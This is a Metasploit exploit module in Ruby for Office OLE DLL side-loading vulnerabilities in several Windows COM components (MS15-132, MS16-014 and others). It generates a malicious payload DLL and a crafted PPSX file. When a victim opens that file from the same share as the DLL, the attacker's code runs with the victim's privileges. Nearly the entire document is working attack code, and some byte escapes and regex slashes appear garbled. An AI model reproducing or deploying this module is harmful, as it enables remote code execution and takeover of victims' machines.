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Office OLE DLL Hijacking

Posted on 11 November 2016

require 'zip'
require 'base64'
require 'msf/core'
require 'rex/ole'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',
'Description' => %q{
Multiple DLL side loading vulnerabilities were found in various COM components.
These issues can be exploited by loading various these components as an embedded
OLE object. When instantiating a vulnerable object Windows will try to load one
or more DLLs from the current working directory. If an attacker convinces the
victim to open a specially crafted (Office) document from a directory also
containing the attacker's DLL file, it is possible to execute arbitrary code with
the privileges of the target user. This can potentially result in the attacker
taking complete control of the affected system.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6132'],
['CVE', '2015-6128'],
['CVE', '2015-6133'],
['CVE', '2016-0041'],
['CVE', '2016-0100'],
['CVE', '2016-3235'],
['MSB', 'MS15-132'],
['MSB', 'MS16-014'],
['MSB', 'MS16-025'],
['MSB', 'MS16-041'],
['MSB', 'MS16-070'],
['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],
['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],
['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/exec',
'CMD' => 'C:\Windows\System32\calc.exe',
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Targets' =>
[
[ 'All', {} ],
[
'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',
{
'DLL' => 'mqrt.dll',
# {ecabafc9-7f19-11d2-978e-0000f8757e2a}
'CLSID' => "xC9xAFxABxECx19x7FxD2x11x97x8Ex00x00xF8x75x7Ex2A"
}
],
[
'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',
{
'DLL' => 'spframe.dll',
# {D27CDB6E-AE6D-11cf-96B8-444553540000}
'CLSID' => "x6ExDBx7CxD2x6DxAExCFx11x96xB8x44x45x53x54x00x00"
}
],
[
'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',
{
'DLL' => 'wuaext.dll',
# {D93CE8B5-3BF8-462C-A03F-DED2730078BA}
'CLSID' => "xB5xE8x3CxD9xF8x3Bx2Cx46xA0x3FxDExD2x73x00x78xBA"
}
],
[
'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',
{
'DLL' => 'wuaext.dll',
# {14ce31dc-abc2-484c-b061-cf3416aed8ff}
'CLSID' => "xDCx31xCEx14xC2xABx4Cx48xB0x61xCFx34x16xAExD8xFF"
}
],
[
'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',
{
'DLL' => 'phoneinfo.dll',
# {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}
'CLSID' => "x87x3Ex03xB9xCFx33x77x4DxBCx9Bx89x5AxFBxBAx72xE4"
}
],
[
'Microsoft Visio 2010 / Windows 7 (MS16-070)',
{
'DLL' => 'msoutls.dll',
# 6C92B806-B900-4392-89F7-2ED4B4C23211}
'CLSID' => "x06xB8x92x6Cx00xB9x92x43x89xF7x2ExD4xB4xC2x32x11"
}
],
[
'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',
{
'DLL' => 'elsext.dll',
# {394C052E-B830-11D0-9A86-00C04FD8DBF7}
'CLSID' => "x2Ex05x4Cx39x30xB8xD0x11x9Ax86x00xC0x4FxD8xDBxF7"
}
],
[
'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',
{
'DLL' => 'oci.dll',
# {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}
'CLSID' => "xBFx4CxCCxE8xFFxFDxD0x11xB8x65x00xA0xC9x08x1Cx1D"
}
],
[
'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',
{
'DLL' => 'wab32res.dll',
# {32714800-2E5F-11d0-8B85-00AA0044F941}
'CLSID' => "x00x48x71x32x5Fx2ExD0x11x8Bx85x00xAAx00x44xF9x41"
}
],
[
'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',
{
'DLL' => 'iasdatastore2.dll',
# {48da6741-1bf0-4a44-8325-293086c79077}
'CLSID' => "x41x67xDAx48xF0x1Bx44x4Ax83x25x29x30x86xC7x90x77"
}
],
[
'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',
{
'DLL' => 'ehTrace.dll',
# {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}
'CLSID' => "xB0x2Ax77xFCx7Fx0CxD3x11x8FxF2x00xA0xC9x22x4CxF4"
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 8 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
], self.class)
end

def exploit
if target.name == 'All'
targets = @targets
else
targets = [ target ]
end

@arch.each do |a|
exploit_regenerate_payload('win', a, nil)
targets.each do |t|
if t.name == 'All'
next
end
print_status("Using target #{t.name}")

dll_name = t['DLL']
if target.name == 'All'
ppsx_name = t.name.split(///).first + ".ppsx"
else
ppsx_name = datastore['FILENAME']
end

print_status("Creating the payload DLL (#{a})...")

opts = {}
opts[:arch] = [ a ]
dll = generate_payload_dll(opts)
dll_path = store_file(dll, a, dll_name)
print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")

print_status("Creating the PPSX file...")
ppsx = get_ppsx(t['CLSID'])
ppsx_path = store_file(ppsx, a, ppsx_name)
print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
end
end
end

def store_file(data, subdir, filename)
ltype = "exploit.fileformat.#{self.shortname}"

if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end

subdir.gsub!(/[^a-z0-9.\_-]+/i, '')
if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir)
FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir)
end

if filename and not filename.empty?
if filename =~ /(.*).(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end

fname = ::File.split(fname).last

fname.gsub!(/[^a-z0-9.\_-]+/i, '')
fname << ".#{ext}"

path = File.join(Msf::Config.local_directory + "/" + subdir, fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }

report_note(:data => full_path.dup, :type => "#{ltype}.localpath")

full_path.dup
end

def create_ole(clsid)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

stm = stg.create_stream("x01OLE10Native")
stm.close

directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
clsid = Rex::OLE::CLSID.new(clsid)
entry.instance_variable_set(:@_clsId, clsid)
end
end

# write to disk
stg.close

ole_contents = File.read(ole_tmp.path)
ole_tmp.close
ole_tmp.unlink

ole_contents
end

def get_ppsx(clsid)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')
fd = ::File.open(path, "rb")
data = fd.read(fd.stat.size)
fd.close
ppsx = Rex::Zip::Archive.new

Zip::InputStream.open(StringIO.new(data)) do |zis|
while entry = zis.get_next_entry
ppsx.add_file(entry.name, zis.read)
end
end

ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
ppsx.pack
end

end

 

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